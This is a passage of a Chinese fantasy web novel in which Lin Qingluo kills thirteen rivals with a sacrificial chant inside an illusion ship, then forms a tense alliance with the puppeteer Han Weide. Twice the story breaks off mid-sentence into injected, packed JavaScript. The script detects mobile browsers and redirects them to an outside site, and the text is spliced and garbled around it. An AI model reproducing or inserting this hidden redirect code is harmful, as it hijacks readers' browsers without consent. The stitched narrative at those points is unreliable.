“这墙上画的是什么玩意儿?”有人在一面墙前站了半晌,狐疑的声音响了起来。 堆满屋子的杂乱货物被一层层泥沙覆盖,刻满四壁的浮雕画卷上,却连一粒风沙也找不到,就好像浮雕壁画具有某种不可侵犯的力量,让尘埃污浊不得沾染。 粗糙的线条勾勒出扭曲抽象的图案,让人瞪大眼睛连蒙带猜看下去,也只能大致看出上面刻画的是人与海水。 林青萝一早就注意到它们了,之前看不懂,便没再注意,但她现在不能指望被血污染的命线,只能多利用环境,于是起身走向一面墙。 就在这时,惊天的雷声轰隆隆砸向大地,一道苍白的雷光突然闪过船窗,将众人照得脸色惨白,各流派气息齐齐倾泻而出,犹如惊弓之鸟。 林青萝也被吓了一跳。 她看向腐朽陈旧的船体之外,风浪肆无忌惮地宣泄着愤怒的情绪,黑水咆哮着冲击摇摇欲坠的楼船,与墙上浮雕所绘的一幕幕重叠。 不对! 相似的环境或许成了一个契机,幽明眼的力量竟然让墙上的画面在她余光里活了过来。 林青萝惊讶地转动目光,直视墙上的图案。 压抑而低垂的云层之下,海底的灾厄之力发狂般汹涌爆发,一道道水浪怒吼着冲向礁石,漫过海滩,将半个小城吞没。 雷霆裂空,沧溟倒悬。 耳畔似乎还能听到澎湃水声之下的一阵阵哭喊与哀鸣。 跨越时空的诡异感仿佛将林青萝拉入了当年那场毁灭一切的灾难之中,林青萝心下巨震,不动声色地看向船外的黑水。 灾厄之力么…… 她的眸光变得幽邃,不知在想什么。 秦樾沉稳的声音响了起来:“大家不用怕,下面的水位离我们这里很远,涨势也慢下去了,我们暂时是安全的。” 这番话让所有人缓过神来,把护在自己身前的流派气息都收了回去。 有人已经在担惊受怕中崩溃,忍不住问:“樾大哥,咱们什么时候才能出去啊?” “是啊秦兄,你说的办法真的有用吗?你手里摆弄的是什么秘宝?需不需要咱们帮忙?” “我是一刻都待不下去了!早知道会遇上这种鬼地方,我才不去什么枫峡!” 秦樾神色沉着,「兵」之锐气犹如一根根细韧的丝线,在木梭上穿梭缠绕,勾勒出天圆地方的景象。 他回答:“快了。” 林青萝小声问躺在箱子上的人:“秦大哥究竟有什么办法呀?” 那人的气息依旧萎靡,仿佛对离开这里没太大信心:“这个地方要破了七根七伤柱才允许两个人出去,可我们这里有多少人?秦樾手里拿的那个是织天梭,他想织造出天地,以天地的无上之力击破这个空间,所有人就能活着出去了。” 他说完便翻了个身,彻底不想再开口了。 林青萝反应了一下,霎时明白秦樾真正想做什么了! 什么织就天地破局,骗子。 攥着命线,手握织天梭,秦樾这是要分别将七人命中的七情之一无限织造放大,再借剩余六人的血肉化作六合天地,在这间屋子里演绎世间七情。 最后他只需轻轻扯断十三根命线,七伤柱就全破了。 果然是一个看透了规则的聪明人啊。 林青萝无声凝视着织天梭上复杂的丝线。 一层,又一层。 正在织就的天地之间,其实是一个隐匿的,庞大的陷阱。 人即便入了流派,依旧只是“人”,创造不了天地,更救不了苍生。 那十二人中一定早有聪明人想到了这一点,知道秦樾承诺的“织天破局”只不过是一个渺茫的希望。 他们暂未戳穿,只不过是乐意让秦樾替他们试一试这一线希望,也暂不想动刀戈。 可秦樾一旦失败,他们恐怕会立刻撕毁表面的和平,为了破柱而用尽手段,自相残杀。 可惜。林青萝淡淡地看了一眼人群,但凡有人能察觉到秦樾身上藏着「农」的力量,或是发现他们的命线已经被秦樾引了出来,也不会任由他明目张胆地算计他们。 似是察觉到她的目光,秦樾抬头朝她冷冷一笑,目光扫了眼墙角,示意她过去坐下,别再轻举妄动。 林青萝很配合地贴墙坐了下去,目光随意搭在正前方的一个灰衣男人身上,心中思考着自己还能做点什么才能逃生。 身上的伤痛一阵阵袭来,林青萝轻叹了声,心中生出一股疲惫与困乏。 恰在此时,灰衣男人打了一个呵欠,随即皱眉咦了声,他明明不困啊? 幽明眼将所有人的一举一动都看在眼底,林青萝愣了下,快速反应过来。 她立刻随机看向一个人,心中默念好渴啊好渴啊好想喝水,要是有水喝就好了。 那人突然舔了舔唇,从身上翻出水囊,仰头咕咚咕咚猛灌了一大口,仿佛刚刚跋涉过沙漠一般口渴难耐。 林青萝精神大振。 她的血污染了命线,竟然让自己的心中所想操控所有人? 林青萝正想再试试控制的程度与时间如何,秦樾突然叫她: “你,过来。” 林青萝迟疑着起身:“秦大哥有什么事吗?” 秦樾从怀里取出一只晶莹剔透的药瓶,粉色的液体随着他的动作在瓶中微漾,煞是好看。 “这叫红颜枯骨,喝下去之后就会死,变成一堆白骨。” 秦樾抬手把药瓶递向林青萝,“你喝,或者大家选一个人。” 冰冷的话音抛下,所有人都朝林青萝与秦樾看了过来,露出疑惑或是戏谑的表情。 林青萝也是一愣。 难怪秦樾迟迟没引她的命线,他已经察觉到有一根柱子被破了,所以她成了多余的那个? “秦大哥,你......为什么?”林青萝皱眉。 秦樾指了指放在地上的织天梭:“天地快织成了,混沌天地,若无利斧,则以鲜血来开。” 林青萝盯着他,一时间竟佩服他行事的滴水不漏,呵笑了声。 做戏做全套的鬼话罢了。 秦樾面不改色地看向其他人:“大家若有别的人选,或是有谁自愿,现在就告诉我。” 气氛一时凝滞。 短暂的安静之后,躺在木箱上的青年缓缓睁开双眼,空洞的眼神重新聚焦,淡声开口:“她只是一个普通人,活着也没什么大用,反而会在危险的时候拖大家的后腿。” 林青萝不可置信地看了他一眼。 沉默被他打破,人群之中,一名青衣人掌心突然燃起一团灵力,化作锁链冲向了她。 那人态度果决:“她一人死,我们所有人的生路就有了,犹豫什么?!” 林青萝被锁链缠住了手腕,不等她反抗,有人扔下一枚铜钱,抚须轻叹:“此女命数古怪,活着也会受尽折磨,不如死在今日,也算解脱。” “等等。”一名医师打扮的人犹豫道,“不如再想想别的办法,她一个柔弱女子能活到现在,实在不容易。” 一阵银铃般的轻笑声响起,医师身旁的一位女子抬手搭在了他的肩上。 女子气音暧昧,却泛着冷意:“李大夫现在想起做好人啦?方才在船舱最下层被箭刺穿心口,把替死药下到我妹妹身上的时候,手可抖过?" “胡言乱语,休要给我泼脏水!” 人群骚乱起来,秦樾面无表情地盯着林青萝:“既然大家都无异议,你没得选。” 林青萝垂眸半晌,接过了那瓶红颜枯骨,缓缓扫视着房间里的人。 危难之时,人人原形毕露,这就是晴澜州之外的这个世道教会人们的保命经验吗? 林青萝迎着一双双充满恶意的目光,蓦然一笑。 啪! 她突然摔了瓶子,晶莹的碎片在裙摆下炸开,像是最锋利的花瓣。 青衣人厉声呵斥:“你干什么?竟然敢在我们这么多人的面前放肆?” 船外的风浪变得凶猛,天光也彻底黯淡下来,让林青萝温柔含笑的眼瞳中,浮现出一抹晦暗阴冷的危险。 少女的回答轻柔又镇定:“因为,我不打算让你们继续活下去了啊。” 众人被她的语气震慑,随即露出微妙的表情,拂袖嗤笑。 一个凡人武者,竟然威胁他们? 秦樾却死死盯着林青萝,锐气霎时迸发:“早就知道你不是什么省油的灯,所以你今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811689|175267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天必须死。” 一声清越的刀鸣破空而出,寒亮的刀光照亮了昏暗的船舱。 秦樾面无表情,竖刀朝她面门砍去,一道杀气腾腾的刀影在林青萝眼前极速逼近,刀气四溢,白发飞扬。 离得近的人纷纷别过脸。 然而并未有血水溅过脸颊。 他们疑惑地转头去看秦樾这一刀究竟怎么回事,却发现自己的脖子动不了了。 自创的旋律从紫衣少女口中轻声逸出,神秘而空灵,临时编出的祭词从奇幻逐渐变得诡谲: “瞰碧落兮俯黄泉,听潮信兮动玄云。” “摧龙宫兮倾蛟柱,摘明珠兮饰华襟。” 秦樾怒不可遏的一双眼死盯着林青萝,他的刀停在她的鼻尖上,只差一寸就能将她砍成两半。 可他就是没办法控制自己的身体,唯有嘴唇还能微动。 “你到底做了什么?”秦樾目眦欲裂。 林青萝漫不经心地推开他握刀的手,清澈的眼眸里泄出了一丝残忍的调笑,很快就为梦呓般的歌声编织出了最契合的旋律。 她虔诚地吟唱着,声音渐渐放大,故意让他们听得清楚: “踏浪阶兮渡冥渊,携薄礼兮拜吾主。” “颂吾主兮掌天地,控瀚海兮裂晦暝。” 狂风灌入屋子里,回荡在十三人脚下,好似一座环形祭台。 队伍里的一名「巫」恍然大悟,露出惊恐的表情,崩溃地大叫起来:“祭词?!她在唱献祭我们的祭词!” 医师脸色骤冷:“什么?!快,快杀了她!” “吾主……?她到底在召唤什么东西?!” “不行啊,我根本动不了了!秦兄,秦樾!你快想办法杀了她!” 秦樾怒视着林青萝,浑身力量都在汹涌地往右手灌注,整条手臂被撑得爆裂开,鲜血模糊了充满力量的肌肉线条,流淌满地。 “敢在我眼皮子底下算计我,我一定让你死得很惨。” 他僵持在半空中的小臂开始剧烈地颤抖,马上就要挣脱开了。 林青萝秀眉微挑,朝秦樾歪了一下头,挑衅般继续吟唱: “请裂穹苍降龙索,请赠刀兵护吾身。” “吞天之鲸张巨壑,衔恨之龙竖逆鳞。” 黑水中有什么东西被唤醒了。 紧接着,秦樾的身体不受控制地动了起来。 他眼睁睁看着自己抬起空荡荡的左手,随着林青萝的歌声摇晃,仿佛手里摇着一只金铃,脚下踩着神秘又急促的拍子,与姿势同样僵硬的十二人一起跳起了诡异的祭祀舞。 众人的衣摆在昏暗光芒下如墨云聚散,步伐在木地板上重重地起落,匍匐叩拜。 窗外响起了雷声,回荡在压抑的天地间,仿佛听得远古祭坛上传来的骨笛声刺破夜空,厚鼓荡开层云。 人群中有人颤抖着怒骂:“该死!快想办法停下啊!” “完了,完了......水下有灾厄之力!” 「巫」余光瞥见船外的海面裂开了一个眼窝状的深渊,灾厄之力被少女的吟唱唤醒,在深渊下快速凝聚,他的眼神像是死了一般,“咱们全都活不了了......” “什么意思?你不是「巫」吗?连你都没有办法吗?” “我们的祭祀舞会唤来水里的灾厄之力,我是「巫」,可我他妈的才二境啊!” “小姑娘,不,姑奶奶!求求你放过我,我刚才可没同意他们杀了你,这都是秦樾的挑唆啊!” 林青萝神色冷漠,歌声并未中断,她缓缓倒退向门口,退出门外: “既诩正道承天命,何惧舍身证因果。” “潮声竭兮拜吾主,骸骨鸣兮开阊阖。” “且品十三血肉鲜。” “噬尽九霄伪日月!” 最后一句祭祀词从林青萝口中唱出,海面的深渊中,恐怖的灾厄之力卷起一股水龙卷冲天而起。 交织如网的雷光在林青萝脸上切割出明暗交错的光影,她面朝那十三张崩溃绝望的面孔,露出了温柔的笑容。 紫衣少女弯起眼睛,嗓音温和,却冷得仿佛来自幽冥: “多谢诸位侠义热肠,为我开生路。” 砰。 大门被她轻轻关上。 暴戾的水龙卷撞开窗户,灌进了房间,像一只饥肠辘辘的猛兽,迫不及待地将屋子里的一切吞入口中。 凶邪气息四溢的水柱里仿佛藏了无数狰狞的尖牙,活生生将十三个祭品撕扯吞咽。 数息之后,门后动静全无,一切归于平寂。 林青萝闭眼呼出一口气,后背缓缓离开了紧贴着的木门,手指微微蜷曲,触摸到了自己汗湿的掌心。 捆住她手腕的锁链也消失了,随着那个青衣人的死亡而化作一缕灵力消散。 七伤柱坍塌的声音被水浪吞没,无法被听见,但有三道光芒穿过船舱的裂缝,朝她悠悠飞来。 幽明眼分辨出了这三道正在没入她身体里的光芒。 林青萝轻声自言自语:“人性之恶,强者之怒,绝望之哀。” “窃音,换物,凝晖。” “听起来都是很有意思的奖励啊。” 林青萝唇角微扬,透过船体的裂缝看向波涛汹涌的水面,猛然意识到什么,刚刚放松的神色当即又紧绷起来,露出复杂的目光。 好消息,她有惊无险的要了这些人的命,一次性破了三根柱子。 坏消息,现在是连一丝模糊的脚步声都没有了。 人都死光了,可还有三根柱子,怎么办? 11. 第 11 章 林青萝双手撑着楼道的栏杆,眸光垂向脚下地板,有些微妙。 船上若是还有人,刚刚获得的窃音应该会让她听到动静才对。 可是耳畔除了被窃音放大的风浪声,什么也没有。 那一道注视着她的目光却还在,始终保持着极低的存在感,不带有任何威胁或掌控的欲望,只是最纯粹的观察,让她猜不出目的。 真是……讨厌。 林青萝抬手轻轻捂住半张脸颊,告诉自己要忍耐住担忧与怒意。 她让大脑短暂放空,又很快活动起来,喃喃自语:“可是进了幻境的人远不止刚才那十来个,他们究竟在哪?” 空想无用,林青萝迈步走下楼梯,准备去二层的船舱里看看。 她觉得自己不该这么倒霉,心中又忐忑不安,若是二楼撞上的恰好是那群陆家人…… 一想到陆家那位长老,林青萝起了层鸡皮疙瘩,左手在门上贴了半晌,终于稳住心神将其推开。 “咦?” 入目依旧是被海潮与泥沙冲刷过的腐朽船舱,凌乱的货物上积满了尘埃,残破的窗户被大风摇晃得嘎吱作响。 除此之外,一个人影也没见到。 林青萝既松了一口气,又有些失落,不动声色地攥紧手中的匕首,缓行于杂物堆里,左右搜寻,希望能寻到一些有用的东西,让她离开这艘水上孤舟,去见到其他人。 她经过一只箱子,突然被什么东西一绊! 是一只脚? 林青萝的心当即提到了嗓子眼,身体不受控制地往前扑倒了下去,她已做好准备,在倒地的那一刻攥紧匕首翻身朝那人割去。 一道熟悉的声音响起,止住了她攻击的动作。 “谁啊,眼睛长屁股上了吗,还让不让人睡觉?” 抱怨声从箱子背面传来,紫袍的一角在箱子投下的阴影中摇摆起伏,少年睡得迷迷糊糊又怒气冲冲,一只手捂住从头顶滑落的兜帽,从地上坐起身来。 林青萝惊喜道:“韩未得!” 对方看见了她,恼火的表情立刻消失了,也是一愣:“怎么是你,你们不是没打算进来吗?江云烬呢?真砍啦?” 韩未得转过身去揉了揉眼睛,顺便整理了一下自己的形象,再转身面对林青萝时,宽大的兜帽洒下大片阴影,半张脸庞若隐若现,唇角勾着不可捉摸的浅笑。 林青萝:…… 「灵」是真的很在乎自己的形象啊…… 她把自己被打进幻境,与其他人走散,又毁了四根七伤柱之后才来到这里的经过向韩未得简单描述了一遍,想到现在的困境,轻叹了声。 韩未得还在消化她刚才描述的战绩,上上下下打量她,惊讶得破了音:“你,一个凡人武者,杀了十三个步入流派的人?” 林青萝点点头。 “那你怎么一副云淡风轻不过如此的表情?!” “因为,我从离开家到现在,杀过的人不止十三个。今天这些人与之前的比起来,实在是有些……废物呢。” “……你原来知道自己很厉害啊?” “没有呀,是你现在的眼神告诉我的。” 韩未得哽住。 他与少女那双堪称真诚又无辜的目光对视,确定他们说的不是同一个话题,好奇心驱使他探究更多,看乐子的心态甚至让他动了一个念头,直接向林青萝本人点破,会看到很有意思的反应吧? 可雨夜中见到的那一幕血色之景带来的恐惧再度冲击在他心头,让他后颈发凉,闭了嘴。 韩未得对危险的感知向来敏锐,也是突然意识到刚才那个念头等同于让自己一脚踏向了悬崖,下方是血色涌动的深渊,不能再试探着前行了。 林青萝伸出手掌,挡在她与韩未得之间,眉头仍然轻轻蹙着:“现在不是你用见鬼的表情看我的时候,这里好像只剩下我们两个人了,若是不找出其他人在哪,或者想想别的办法出去,我们会被外面的黑水淹死的。” 韩未得顺着她不安的目光看了看窗外的风浪,眉梢一挑,多大点事? 他淡定地安抚她:“别急别急,让我再睡会觉吧,睡醒了就带你出去。” “水都快涨到二层船舱里了,你还得睡得着?” 林青萝不可置信,“你进来就是为了睡觉的?” 韩未得不慌不忙地一屁股坐在箱子上:“当然不是,构造这个幻境的「灵」很强,也不止一个「灵」,我既然来了,自然要瞧瞧他们的命,顺便从里面抽些记忆出来,学学他们的术法。” “况且,我可不是在睡觉,刚才要不是被你吵醒,我都已经学会构造这种程度的幻境的术法了,再给我点时间去他们的命里翻点东西,说不定我都破境了。” 林青萝匪夷所思,在脑海里搜罗了一圈,没听过哪个厉害人物能与面前这个紫袍少年对得上号。 她感叹了一声:“你能在梦里学会术法,还破境?我突然觉得从前听说过的天才好像都是假的。” 韩未得看淡世俗般摆摆手:“啊,从小到大是有许多人都夸我天才来着,虚名罢了。” 林青萝:…… 他被林青萝无语的表情逗乐,清了清嗓子,晃动的环形耳坠在侧脸洒下细碎银光:“说正事吧,我发现这里的「灵」其实是无涯的那群亡魂,无涯在暗域中覆灭,这群亡魂侥幸没落得个魂飞魄散的下场,却被暗域的力量污染了,盘踞在这里,憋着坏心思呢。” 林青萝眼中划过一丝惊讶。 无涯并非什么邪魔外道,也是庇护秋声野一带的有名世家,死后的亡魂竟然会允许自己变成害人性命,玩弄人心的恶徒。 是暗域的力量足以将它们的心性改变,还是枉死之人,由怨生恶? 林青萝不得而知。 她有更重要的疑问:“它们构造幻境引诱这么多人进来,究竟想干什么?” 韩未得一耸肩,摊了摊手。 他更想不明白,“破七伤柱、二人逃生”这条规则,究竟是怎么来的。 “对了。” 韩未得想到什么,随便一提,“这个幻境里充斥着大量的灵力,你一个普通人在里面呆了这么久,没受到什么影响吧?” “我……” 林青萝沉默了一会,再度开口时,语气严肃无比,“我好像变得不那么排斥杀戮了。” 从晴澜州逃出来的这一路上,她即便遭到了许多次刺杀,为了自保而杀了许多人,在用伪装与陷阱了结对方性命的那一刻,若非有意克制,心跳并不会那么平静。 如果有其他选择,她不想杀人。 可是刚才用祭祀词杀了那十三人时,她心中毫无负担,反而觉得畅快。 在能掌控他们行为的前提下,她其实可以替他们选择许多种死法,最方便且妥当的就是控制秦樾继续他的计划,一次性破除所有柱子。 可她偏偏出于戏谑与报复,选择了最让自己愉悦的招数。 那些临死前惊恐的,求饶的,假意忏悔的脸庞,才能让她稍稍原谅他们对她的冒犯啊。 她竟然已经在适应杀戮,主动成为杀戮。 爹娘会对这样的女儿很担忧吧。林青萝忍不住想。 韩未得一脸紧张地听完,表情空白了一下,随即轻嗤了声,仿佛在说这算什么大事。 他连世间最残忍的杀戮都领教过,对林青萝在意之事见怪不怪,语调懒散又冷漠:“青萝,你是第一次出远门吧?或许你从小被家里教会的是善,可外面只会让你看见各种各样的恶,不想被愧疚与懦弱害死,就别要求自己当什么纯白无暇的好人。离开了无涯幻境之后,你还会遇上更多残酷的事情,谎言与杀戮无处不在,没办法,这个世道很难。” “谁都别轻信,别轻信一个萍水相逢的过路人,也别放心地把自己的后背交给并肩作战的兄弟,咳咳,说远了。” 韩未得说着,指了指她的脑袋,“总之,有时候,连你自己也会骗自己。” 林青萝明白了,露出同情的目光:“看来你遇到过朋友很严重的背叛,真的抱歉。” 韩未得:“……那倒不是。喂!我和你说东,你能不能不要想西啊???” 不过,他的脑海里的确闪过许多张可恶的面孔,让他的表情都变得有些扭曲,咬牙切齿,又无奈叹气,眼神十分微妙。 唯独没让林青萝看出真正的怨恨。 就好像那种背叛或出卖不过家常便饭罢了。 林青萝怀着震撼的心情尝试去理解,半晌,放弃了。 “好吧好吧,那说说剩下的七伤柱。” 林青萝其实不太相信韩未得说什么能带她出去的话,认真思索起来,“就算咱们互相捅一刀,也还剩一根七伤柱啊。” 韩未得惊得差点跳了起来:“哪能把自己算计进去?” 他打算让林青萝这个可爱又天真的凡人武者见见世面。 “七伤柱还剩下哪三根来着?” “惧,爱,欲。” “这位看官,你可看好了,别眨眼。” 韩未得悠长的尾音落地,他坐在屁股下方的那只箱子里突然传来砰砰砰的敲打声,一只只小胳膊小腿从被打破的箱子里伸了出来。 紧接着,三个木偶脑袋探出破洞,左右瞧了瞧,确定没被上回那一大群人围观之后,欢呼着从箱子里跳到了地上。 林青萝今日才仔仔细细地观察了一下韩未得的木偶。 这三只木偶的五官栩栩如生,关节圆润灵活,身上的衣着竟然都是用华贵的布料裁成,乌发、腰间与手腕的装饰,皆是价值不菲的明珠宝玉。 林青萝算是知道韩未得随时随地摆摊赚钱的原因是什么了。 他不吝钱财,把木偶养得就跟自己的孩子一样精致。 林青萝看着这三只木偶,声音有些疑惑:“它们能把我们救出去?” 韩未得拍了拍自己左边的箱子,神秘一笑:“坐下,听场戏。” 林青萝半信半疑地在他身边坐下,垂眸便见脚下的三只傀儡活了过来。 它们笑吟吟地俯身朝她拜了一礼,身后的虚空中灵力涌动,具象为三道清晰的,凝实的人影,与木偶长得一模一样。 三人虽在林青萝面前,却分别处于不同的空间与场景之中。 左边的说书人那一头灰白的乱发用翠玉竹簪随意束起,枯瘦的手掌下压着一块边缘握得光滑的惊堂木,仰面躺在摇椅中,似在打盹。 待台下听众坐得满满当当,说书人突然睁眼,左手哗啦一声抖开纸扇,右手掌着的惊堂木重重拍下:“书接上回,诸位且听那恶鬼现世!” 中间的画面中,一名少女身着藕荷长裙,坐在书桌前字斟句酌,笔尖悬在纸上迟迟未落,忽然听见窗外的院子里传来一声轻响。 她惊讶地抬头往院子里一看,恰好对上日思夜想的那人正坐在墙头冲她笑,手中的羊毫笔一颤,滴落的墨汁将“山有木兮”几个字模糊不清。 最右边的那一幕场景里,少女咬着笔杆,思索着怎么给下一幅画添些新意。 忽有夜风掀动珠帘,惊得她慌忙用袖子盖住刚刚画好的那几张避火图。 林青萝睁大眼睛盯着这三个活生生的人,一时间有些分不清真实与幻象。 她忍不住开口:“「灵」真的可以赋魂?” 韩未得唇边得意的笑容微僵。 他垂下头沉默了好一会,轻笑了声:“如果是真的就好了。” 三道人影周围的画面流动变化着,纷杂的声音传入林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拦住脚步的几面光幕已经消失不见,可林青萝仍然看不清荒野之外的景象。 她猜测那里拼凑着另一个空间。 江云烬会在对面吗? 韩未得正悠哉游哉的走着,突然瞧见身旁的少女莫名其妙加快脚步冲了出去,正在纳闷,又见她在荒野边缘忽然一顿,定定地站在原地。 他眯起眼,歪头打量林青萝,指尖啪的一声打了个响指,学着「巫」的咒术大喊一声:“动?” “我没事。” 林青萝无奈地看他一眼,表情变得严肃,窃音的力量萦绕在双耳,她凝神细听。 “对面那个幻境里有许多人。”她轻声说道。 “陆家人也在。” “等等,他们抓了江云烬!” 林青萝眸中攀起一抹怒色,她死死盯着荒野外的未知幻境,突然又听到了什么,扭头看向韩未得,语气微妙:“你听说过方晖练形图吗?” 韩未得脸上看热闹的表情骤然收敛。 他双眼微眯,追问道:“谁在说方晖练形图?” “陆家……应该是陆家那个长老。” 林青萝静下心神,仔细听着远处的声音,“他们说……七伤供‘血’,月华供‘肉’……韩未得,对面的情况更麻烦了,他们好像控制了剩下的所有人!” 韩未得听完,冷笑道:“原来如此,我说无涯的亡魂把人骗进来做什么呢,结果是想让陆家帮它们打造一具能容纳所有亡魂的肉身。” 林青萝十分惊讶:“「巫」能做到?” 韩未得说:“方法不都在方晖练形图上了么,咱们这边为了破七伤柱而死的人就是‘血’,陆家控制的那群人就是‘肉’,那群亡魂自己就是‘魂’。” 他一拍手:“齐了。” 林青萝面色凝重:“可是陆家为什么要帮它们?而且无涯的亡魂那么厉害,它们如果要我们死,何必用七伤柱来兜圈子?” “一群亡魂罢了,没办法直接动手杀人,自然要找个帮凶,但陆家自己被困在对面,也不能直接把手伸到这里。” 韩未得看向荒野对面的目光泛着冷意,继续说,“一切都说得通了,这里的幻境都是「灵」拼凑的,但这戏弄人的规则,我一开始还以为是「灵」从什么地方照搬过来的,现在来看,是陆家人的手笔。” 林青萝诧异地看着他,不得不承认自己对各流派的了解太少了。 韩未得捕捉到她的疑惑,幽幽抛出一句解释:“「巫」能创造法则。” 林青萝没再说话,袖下的手掌握紧了匕首,不得不面对令她头疼的难题,要怎么从陆家七境长老手中救人。 思索间,似有一道压迫感十足的苍老目光从荒野对面的幻境中看了过来。 林青萝被这道目光盯得头皮发麻。 原本存在着一道光幕的位置上,忽然浮动出数不清的针尖般的寒芒。 这些光点如之前一样坠落在半空中,凝聚成字,内容却与之前截然不同: “七柱已破,一人可离。” 韩未得仰头盯着这行字,气笑了:“这群陆家人居然出尔反尔,连续修改法则也不怕反噬吗?挑拨离间这套玩上瘾了是吧?青萝,你说那个七境老头要不要脸啊?” 没有人回答他。 韩未得一愣,扭头看向身旁,空荡无人。 原本垂眸凝思的少女已悄无声息退至他身后,一脸冷色地看着他,反手握在身前的匕首寒光闪烁。 二人之间的气氛瞬间凝结成冰。 12. 第 12 章 林青萝手掌攥紧了匕首,灰紫色的眼眸泛起冷酷的光芒,向来温婉的笑意早就消失得无影无踪。 二人之间的气氛瞬间凝结成冰。 韩未得对于反目成仇一类的情况似乎并不意外,只是挑了下眉,眸中划过一丝阴沉。 “我算是知道那十几个人是怎么死在你手里的了。” 他扫了眼林青萝手中的利刃光芒,讥诮开口,“这些年我只听别人说我们什么狡诈阴险,冷血无情,可现在看来,你才是高手啊。” 林青萝捕捉到一丝关键,歪了歪头:“我们?” 她早就猜到韩未得的身份不简单,一个年纪轻轻的五境天才,仅凭赋魂的能力就足以惊动四方,却没在人族州城留下什么名号,必定不是在人族州城明面上活动的人。 原来还归属于某个神秘的组织啊...... 韩未得漫不经心地带过去:“啊......你听错了,我是说我。青萝,虽然你的确有一些小聪明,也比我见过的许多人都更加厉害,但要杀你其实易如反掌,因为,我可不是你刚才解决的那些废物。” 林青萝面色沉着,匕首的寒光反射在她脸上,冰冷彻骨:“我知道,所以是我怕你过河拆桥,才会离你远点,保护自己。顺便——” “也想问问。” 她平静的嗓音里透出一股自成一派的傲气,淡紫色的裙摆在湿冷的荒风中猎猎飞扬。 “你要不要试试跟我一起,把这无涯幻境掀了。” 韩未得面对少女带着几分狂气的邀请,怀疑自己听错了:“什么?” 林青萝没有重复刚才的话,只是平静又严肃地接受他那双说不明的注视。 韩未得微眯着双眼,重新观察了她许久。 说实话,少女在他眼中身手平平,实力微弱,可她太聪明,又心狠大胆,浑身都散发着不可小觑的杀意,就连闪烁在她雪发间的昏暗光芒,也锋锐如刀。 韩未得带着敌意的目光逐渐柔和下来,没有质疑,没有讥嘲,他脑海中只是突然闪过一个念头,林青萝到底还是因为没有步入流派而缺乏了几分自信与随意,如果换作是他,他会比林青萝更狂傲。 “好。” 韩未得扭头扫了眼浮在空中的那行小字,轻蔑地扯了下唇角,“这狗屁规则,我改定了。” 林青萝松了一口气,收好匕首走到他面前,脸上划过一丝意外的惊喜:“你可以直接改「巫」的规则?” “哦......那倒不是。”韩未得摸了一下鼻子,“这不是为了配合你的气势吗?” 林青萝:...... “那好,用我想到的办法。韩未得,你杀得了陆家那个长老吗?”她问道。 韩未得大叫:“那可是个七境!” 林青萝微微蹙眉,那就麻烦了。 她正准备调整一下计划,却见韩未得眼里闪烁起疯狂的光芒,像是一只即将释放嗜血本性的怪物,低沉而阴冷的声音从兜帽下缓缓传来。 “我虽然杀不死他,但把他拖得半死不活绝对没有问题。” 他嗓音停顿了一下,思索道,“不过那些亡魂......” 林青萝说:“亡魂交给我” “你?” 韩未得饶有兴致地与她对视,轻笑了声,“好吧,来,说说你的计划。” . 蜃华殿内。 临时开凿出来的一片池子里,池水被离焰咒的力量加热,泡着几个冻得僵硬的人影。 这些人进了幻境之后就掉进了一个巨大的冰牢陷阱中,冻得瑟瑟发抖,眼睫上结满了冰霜,四肢僵硬得一敲就断,唯有一双双惶恐不安的眼睛还能灵活地转动。 要不是被陆家人救起,早就冻死了。 最先被转移出来的人在水里已经泡了有一会了,身体很快暖和起来,逐渐恢复的力量在体内奔涌。 “多谢陆二公子和三长老出手相救,蒋某感激不尽!” 一名赤膊剑客迈出水池,湿漉的衣袍在光滑如镜的深灰地面拖出一道深沉的痕迹。 随着他快步上前,在陆佑与三长老面前重重一拜,池子里的其他人也赶紧起身,将水池让给了一具具陆续被转移出来的冻僵的身体,跟随赤膊剑客一起向陆家道谢。 陆佑正盯着地面发呆,突然被这阵齐刷刷的道谢声唤醒。 他扭头扫了眼面色激动的众人,漫不经心:“行了,说什么废话,吃了疗伤药就老实休息,省着点力气想想怎么出去吧。” 三长老看了他一眼,言语轻慢的小少爷立刻就闭眼倒在石台上,装作无事发生。 三长老嗓音嘶哑如朽木:“诸位不必道谢,陆家当年在曦城初立之时,也承过各流派的关照,方才诸位被极寒之渊所困,我家二公子恰好能救,自然不会坐视不管......咳咳......” 话说到一半,他便剧烈地咳嗽了起来,拱起的脊背枯瘦嶙峋,血水渗透指缝,滴滴答答流淌在了地上。 “三长老!” 众人见状,心中皆是一阵惊疑,互相对视一眼便朝三长老走了过去,试图搀扶起这位好像被抽走了生机的老人。 “三长老之前在暗域的时候还精神矍铄,怎么现在好像受了重伤?莫非你们陆家也在这里遇到了什么攻击?” “我是「医」,不如让我替三长老看看吧。” “让开让开!”陆佑脸色都吓白了,他拨开人群冲到三长老面前,扶起气息萎靡的老人往一旁的甬道里走,那里被陆家随从简单打扫过,可供暂时休息。 陆佑搀着三长老缓缓坐下,从怀里拿出一只漆黑的细口瓷瓶,一只枯藤似的手掌突然按在他要拔开瓶塞的手上。 三长老示意他收好巫药,闭眼缓缓吐息,沙哑的声音里含着血:“二公子,不别担心,同时更改两个幻境的法则超出了我七境的极限,这点血魄的消耗已算是少的了。” 陆佑咬了咬牙,没吭声,心里积压着沉重的怨气,觉得自己没用。 「巫」构造术法需要消耗“血魄”,对于「巫」而言,一切术法的使用都建立在等价交换的前提上,血魄便是「巫」在身体里储备的等价之物。 同时更改两个庞大之幻境的法则,本就对血魄的耗损极大,三长老还要引导那边的“血”违背法则流入蜃华殿,这已经超过了七境的极限。 